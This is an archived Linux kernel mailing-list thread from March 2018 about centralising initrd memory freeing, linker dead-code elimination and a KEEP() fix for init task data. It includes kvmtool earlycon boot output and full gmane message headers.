Xref: news.gmane.org gmane.linux.kernel.arc:3709 gmane.linux.ports.mips.general:64297 gmane.linux.ports.sh.devel:56776 gmane.linux.kernel:2728798 gmane.linux.ports.ia64:28777 gmane.linux.ports.hexagon:1620 gmane.linux.kernel.metag:1745 gmane.linux.ports.arm.kernel:641724 gmane.linux.ports.parisc:28452 gmane.linux.ports.alpha:4908 gmane.linux.ports.sparc:27510 gmane.linux.uml.devel:16737 gmane.linux.uml.user:15413 gmane.linux.ports.ppc64.devel:155489
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3709>

On Thu, 29 Mar 2018 16:58:27 +0100,
Russell King - ARM Linux wrote:
> 
> On Thu, Mar 29, 2018 at 05:43:47PM +0200, Geert Uytterhoeven wrote:
> > On Thu, Mar 29, 2018 at 5:27 PM, Russell King - ARM Linux
> > <linux@armlinux.org.uk> wrote:
> > > On Thu, Mar 29, 2018 at 09:37:52AM +1100, Oliver wrote:
> > >> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
> > >> <linux@armlinux.org.uk> wrote:
> > >> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
> > >> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
> > >> >> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> > >> >> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
> > >> >> >>> Now only those architectures that have custom initrd free requirements
> > >> >> >>> need to define free_initrd_mem.
> > >> >> >> ...
> > >> >> >>> --- a/arch/arc/mm/init.c
> > >> >> >>> +++ b/arch/arc/mm/init.c
> > >> >> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> > >> >> >>>  {
> > >> >> >>>   free_initmem_default(-1);
> > >> >> >>>  }
> > >> >> >>> -
> > >> >> >>> -#ifdef CONFIG_BLK_DEV_INITRD
> > >> >> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> > >> >> >>> -{
> > >> >> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
> > >> >> >>> -}
> > >> >> >>> -#endif
> > >> >> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> > >> >> >>> index 3f972e83909b..19d1c5594e2d 100644
> > >> >> >>> --- a/arch/arm/Kconfig
> > >> >> >>> +++ b/arch/arm/Kconfig
> > >> >> >>> @@ -47,6 +47,7 @@ config ARM
> > >> >> >>>   select HARDIRQS_SW_RESEND
> > >> >> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> > >> >> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> > >> >> >>> + select HAVE_ARCH_FREE_INITRD_MEM
> > >> >> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> > >> >> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> > >> >> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU
> > >> >> >>
> > >> >> >> Isn't this why weak symbols were invented?
> > >> >> >
> > >> >> > Weak symbols means that we end up with both the weakly-referenced code
> > >> >> > and the arch code in the kernel image.  That's fine if the weak code
> > >> >> > is small.
> > >> >>
> > >> >> The kernel's been able to build with link time garbage collection since 2016:
> > >> >>
> > >> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> > >> >>
> > >> >> Wouldn't that remove the unused one?
> > >> >
> > >> > Probably, if anyone bothered to use that, which they don't.
> > >> >
> > >> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> > >> > what I can see, nothing selects it.  Therefore, the symbol is always
> > >> > disabled, and so the feature never gets used in mainline kernels.
> > >> >
> > >> > Brings up the obvious question - why is it there if it's completely
> > >> > unused?  (Maybe to cause confusion, and allowing a justification
> > >> > for __weak ?)
> > >>
> > >> IIRC Nick had some patches to do the arch enablement for powerpc, but
> > >> I'm not sure what happened to them though. I suspect it just fell down
> > >> Nick's ever growing TODO list.
> > >
> > > I've given it a go on ARM, marking every linker-built table with KEEP()
> > > and comparing the System.map files.  The resulting kernel is around
> > > 150k smaller, which seems good.
> > >
> > > However, it doesn't boot - and I don't know why.  Booting the kernel
> > > under kvmtool in a VM using virtio-console, I can find no way to get
> > > any kernel messages out of it.  Using lkvm debug, I can see that the
> > > PC is stuck inside die(), and that's the only information I have.
> > > It dies before bringing up the other CPUs, so it's a very early death.
> > >
> > > I don't think other console types are available under ARM64.
> > 
> > earlycon?
> 
> Through what - as I say above, I think the only thing that's present is
> virtio-console, and the virtio stack only get initialised much later in
> boot.
> 
> Eg, there's the memory-based virtio driver which interfaces any virtio
> driver to a memory-based ring structures for communication with the host
> (drivers/virtio/virtio_mmio.c) which is initialised at module_init()
> time, and so isn't available for earlycon.
> 
> I don't think merely changing the module_init() calls in the appropriate
> virtio bits will suffice - it's why I pointed out that it dies before
> SMP initialisation, which also means that it dies before we start
> running the initcalls for subsystems and drivers.
> 
> I'm not aware of there being an emulated UART in the guest's address
> space, so serial based stuff doesn't work.

"earlycon=uart,mmio,0x3f8" is what you're looking for:

$ Work/kvmtool/lkvm run -c2 -k zImage -p "earlycon=uart,mmio,0x3f8" --console virtio --aarch32
  # lkvm run -k zImage -m 320 -c 2 --name guest-3856
  Info: Loaded kernel to 0x80008000 (6767104 bytes)
  Info: Placing fdt at 0x8fe00000 - 0x8fffffff
  Info: virtio-mmio.devices=0x200@0x10000:36

  Info: virtio-mmio.devices=0x200@0x10200:37

  Info: virtio-mmio.devices=0x200@0x10400:38

[    0.000000] Booting Linux on physical CPU 0x0
[    0.000000] Linux version 4.16.0-rc6+ (maz@approximate) (gcc version 6.3.0 20170516 (Debian 6.3.0-18)) #8407 SMP PREEMPT Tue Mar 20 15:01:43 GMT 2018
[    0.000000] CPU: ARMv7 Processor [410fd082] revision 2 (ARMv7), cr=30c5383d
[    0.000000] CPU: div instructions available: patching division code
[    0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
[    0.000000] OF: fdt: Machine model: linux,dummy-virt
[    0.000000] earlycon: uart0 at MMIO 0x00000000000003f8 (options '')
[    0.000000] bootconsole [uart0] enabled
[    0.000000] Memory policy: Data cache writealloc
[    0.000000] efi: Getting EFI parameters from FDT:
[    0.000000] efi: UEFI not found.

[...]

	M.

-- 
Jazz is not dead, it just smell funny.

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 18:31:03 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <20180329173103.GE16141@n2100.armlinux.org.uk>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <c91e8781-5f31-70e8-e7ef-1a80bd5d9454@landley.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522344630 2697 195.159.176.226 (29 Mar 2018 17:30:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 17:30:30 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Rob Landley <rob@landley.net>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 19:30:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1bNQ-0000Tb-Sd
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 19:30:17 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=bms4g09bFauBis2arHlp1zptZsLJf8mVlMB01qWVCzs=; b=Vu7kLIp3s0arZH
	u2f1KbMsuJtx/Vq5kIRFQxpHUkf9jKeZ6Zu8I1GYSBFVS+cVIONkMdrNThX4VvYAcAvBEMmiViq+V
	lrXulRh0bq4Q4bSgKLNzzIg9/axCI10JS0lYYZKofMplJdiEWKgpBaTnWAeZkb4cnK+GBAWbJhtZD
	674brkKu+4qB4L2wu2bwy3Xj6v3kkCgRIW5IYZas7+Jz7UwVuGjmw+nl8C/77fVrleR0qwroAa/On
	M+sCq1tJ/zSKlJmSYNH/bDuw/qI6MtA5KfB6oI4YOj88JsBchpxNEAasGWT8DZR4SZCLk0IbCIC/v
	m3/QebCHVJ04J0efgYYQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1bPT-0007gN-OZ; Thu, 29 Mar 2018 17:32:23 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1bPP-0007Qv-Eq
 for linux-snps-arc@lists.infradead.org; Thu, 29 Mar 2018 17:32:21 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=aiWT9N072vbutDPA3gT4paZMQV25npqtI1zzaYoGTU8=; 
 b=k2tCKtMiXlT+G0Zn8CAtWflC7LhJNW3fYGaFT6gQr9Xbln/kZrIj+tVC2bXNjcChBLp0CSefIUMf7ZuwDsofFTfE3hkNgBks0G/hBoBaeadqp0VYXUZNcmdDQdW7duipVTZJT5kCPyvjZ1k0dRlT2uOMLZfGtZmmask7sx12LXU=;
Original-Received: from n2100.armlinux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:57080)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:AES128-GCM-SHA256:128)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1f1bOK-0000VU-1F; Thu, 29 Mar 2018 18:31:12 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim
 4.82_1-5b7a7c0-XX) (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1f1bOD-0006t7-AH; Thu, 29 Mar 2018 18:31:05 +0100
Content-Disposition: inline
In-Reply-To: <c91e8781-5f31-70e8-e7ef-1a80bd5d9454@landley.net>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_103220_012355_83F54A98 
X-CRM114-Status: GOOD (  30.46  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [2001:4d48:ad52:3201:214:fdff:fe10:1be6 listed in]
 [list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3710 gmane.linux.ports.mips.general:64298 gmane.linux.ports.sh.devel:56777 gmane.linux.kernel:2728813 gmane.linux.ports.ia64:28778 gmane.linux.ports.hexagon:1621 gmane.linux.kernel.metag:1746 gmane.linux.ports.arm.kernel:641726 gmane.linux.ports.parisc:28453 gmane.linux.ports.alpha:4909 gmane.linux.ports.sparc:27511 gmane.linux.uml.devel:16738 gmane.linux.uml.user:15414 gmane.linux.ports.ppc64.devel:155491
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3710>

On Thu, Mar 29, 2018 at 11:39:24AM -0500, Rob Landley wrote:
> 
> 
> On 03/28/2018 05:14 PM, Russell King - ARM Linux wrote:
> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
> >>
> >>
> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
> >>> On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> >>>> On 03/28/2018 10:26 AM, Shea Levy wrote:
> >>>>> Now only those architectures that have custom initrd free requirements
> >>>>> need to define free_initrd_mem.
> >>>> ...
> >>>>> --- a/arch/arc/mm/init.c
> >>>>> +++ b/arch/arc/mm/init.c
> >>>>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> >>>>>  {
> >>>>>  	free_initmem_default(-1);
> >>>>>  }
> >>>>> -
> >>>>> -#ifdef CONFIG_BLK_DEV_INITRD
> >>>>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> >>>>> -{
> >>>>> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
> >>>>> -}
> >>>>> -#endif
> >>>>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> >>>>> index 3f972e83909b..19d1c5594e2d 100644
> >>>>> --- a/arch/arm/Kconfig
> >>>>> +++ b/arch/arm/Kconfig
> >>>>> @@ -47,6 +47,7 @@ config ARM
> >>>>>  	select HARDIRQS_SW_RESEND
> >>>>>  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> >>>>>  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> >>>>> +	select HAVE_ARCH_FREE_INITRD_MEM
> >>>>>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> >>>>>  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> >>>>>  	select HAVE_ARCH_MMAP_RND_BITS if MMU
> >>>>
> >>>> Isn't this why weak symbols were invented?
> >>>
> >>> Weak symbols means that we end up with both the weakly-referenced code
> >>> and the arch code in the kernel image.  That's fine if the weak code
> >>> is small.
> >>
> >> The kernel's been able to build with link time garbage collection since 2016:
> >>
> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> >>
> >> Wouldn't that remove the unused one?
> > 
> > Probably, if anyone bothered to use that, which they don't.
> > 
> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> > what I can see, nothing selects it.  Therefore, the symbol is always
> > disabled, and so the feature never gets used in mainline kernels.
> 
> It looks like there are per-architecture linker scripts that need to be updated?
> So if an architecture supports it, it's always done (well, it probes for the
> toolchain supporting the flag). And if the architecture doesn't support it, the
> linker script needs to be updated to mark sections with "I know nothing seems to
> reference this at the ELF level but keep it anyway, we're pulling an assembly
> trick".

It looks like it needs much more than just architecture changes as the
reason it fails on ARM is because the init thread structure is missing
due to missing KEEP()s in INIT_TASK_DATA().  Probably means it doesn't
work anywhere.

8<===
From: Russell King <rmk+kernel@armlinux.org.uk>
Subject: [PATCH] Fix LD_DEAD_CODE_DATA_ELIMINATION

LD_DEAD_CODE_DATA_ELIMINATION fails to boot on ARM because the linker
eliminates the init thread data from the bottom of the init threads
stack.  This causes recursive faults that end up overwriting parts
of the kernel before they can print any message.

Signed-off-by: Russell King <rmk+kernel@armlinux.org.uk>
---
 include/asm-generic/vmlinux.lds.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/include/asm-generic/vmlinux.lds.h b/include/asm-generic/vmlinux.lds.h
index 1ab0e520d6fc..41af8a74aae4 100644
--- a/include/asm-generic/vmlinux.lds.h
+++ b/include/asm-generic/vmlinux.lds.h
@@ -279,8 +279,8 @@
 	VMLINUX_SYMBOL(__start_init_task) = .;				\
 	VMLINUX_SYMBOL(init_thread_union) = .;				\
 	VMLINUX_SYMBOL(init_stack) = .;					\
-	*(.data..init_task)						\
-	*(.data..init_thread_info)					\
+	KEEP(*(.data..init_task))					\
+	KEEP(*(.data..init_thread_info))				\
 	. = VMLINUX_SYMBOL(__start_init_task) + THREAD_SIZE;		\
 	VMLINUX_SYMBOL(__end_init_task) = .;
 

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 18:32:47 +0100
Lines: 109
Approved: news@gmane.org
Message-ID: <20180329173247.GF16141@n2100.armlinux.org.uk>
References: <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
 <20180329152749.GC16141@n2100.armlinux.org.uk>
 <CAMuHMdXAckNiUQKT2WU6xaJjbECrifmH6fg_mET+h3iXf_RgDQ@mail.gmail.com>
 <20180329155827.GD16141@n2100.armlinux.org.uk>
 <86zi2qrfgl.wl-marc.zyngier@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522344698 7606 195.159.176.226 (29 Mar 2018 17:31:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 17:31:38 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Vladimir Murzin <vladimir.murzin@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, Cris <linux-cris-ke
To: Marc Zyngier <marc.zyngier@arm.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 19:31:25 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1bOW-0001iX-7F
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 19:31:24 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=IrYpVinQA9O6CSUZMmK4bWyPPCwgeXRQFkoby113AMI=; b=q/Q2brfCDJyRff
	3juI4Fe9iCM6RmxIOiRx0hhrgN9xE0aan705C/cw8hmKFeUg55FifL3suhQ6n/j34cv0BsAf3zSaa
	X1Dwbcr/eLMTEbdbuMkl1ij8Df3gGEJg1f5b6tbmjfFhl++XYRyAxv29ZMkgjFNxcV7LCczR4rZeh
	3ei7czh/ar7ccbBjxfFYPanbnUrUWwTkg1Qika930kh0PioEHoLUmdxKRTn96eC5m2QT6faOPo82l
	zQ1pzydkTAY6qxOrkCgUrKOU1xpFMbA5ZSe+eIcMJgK4SF5FNZ5cti1CfdUGdG0tAun8Twwq8yS4g
	NPvll5Z7UU7wNiEabOqQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1bQZ-0007yh-Io; Thu, 29 Mar 2018 17:33:31 +0000
Original-Received: from pandora.armlinux.org.uk
 ([2001:4d48:ad52:3201:214:fdff:fe10:1be6])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1bQW-0007ug-Gj
 for linux-snps-arc@lists.infradead.org; Thu, 29 Mar 2018 17:33:30 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=armlinux.org.uk; s=pandora-2014; 
 h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
 bh=KxVBphA9o9Afyy2W8Ch7czbfQG563m9670sM3VaTKFM=; 
 b=ohTapLUofv5UJCDQSnyRhzkret1vmCa1vJoSECL6fIfN5PXYvAGfdsodjmUwDkaTfZEYe5Bz/hVMbTk2e78xOdflHrd/X5KJck6pZa5Cn+TerTq5w6tujc3srySIdINst2ZHc/83+YvXe+/YNKHlalPWJdLfTYWNZViI85KahSM=;
Original-Received: from n2100.armlinux.org.uk
 ([2002:4e20:1eda:1:214:fdff:fe10:4f86]:57098)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:AES128-GCM-SHA256:128)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1f1bPv-0000Wk-4D; Thu, 29 Mar 2018 18:32:51 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim
 4.82_1-5b7a7c0-XX) (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1f1bPr-0006uq-Qh; Thu, 29 Mar 2018 18:32:47 +0100
Content-Disposition: inline
In-Reply-To: <86zi2qrfgl.wl-marc.zyngier@arm.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_103329_119159_F2AD18EC 
X-CRM114-Status: GOOD (  34.19  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [2001:4d48:ad52:3201:214:fdff:fe10:1be6 listed in]
 [list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3711 gmane.linux.ports.mips.general:64299 gmane.linux.ports.sh.devel:56778 gmane.linux.kernel:2728814 gmane.linux.ports.ia64:28779 gmane.linux.ports.hexagon:1622 gmane.linux.kernel.metag:1747 gmane.linux.ports.arm.kernel:641727 gmane.linux.ports.parisc:28454 gmane.linux.ports.alpha:4910 gmane.linux.ports.sparc:27512 gmane.linux.uml.devel:16739 gmane.linux.uml.user:15415 gmane.linux.ports.ppc64.devel:155492
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3711>

On Thu, Mar 29, 2018 at 05:53:14PM +0100, Marc Zyngier wrote:
> On Thu, 29 Mar 2018 16:58:27 +0100,
> Russell King - ARM Linux wrote:
> > 
> > On Thu, Mar 29, 2018 at 05:43:47PM +0200, Geert Uytterhoeven wrote:
> > > On Thu, Mar 29, 2018 at 5:27 PM, Russell King - ARM Linux
> > > <linux@armlinux.org.uk> wrote:
> > > > On Thu, Mar 29, 2018 at 09:37:52AM +1100, Oliver wrote:
> > > >> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
> > > >> <linux@armlinux.org.uk> wrote:
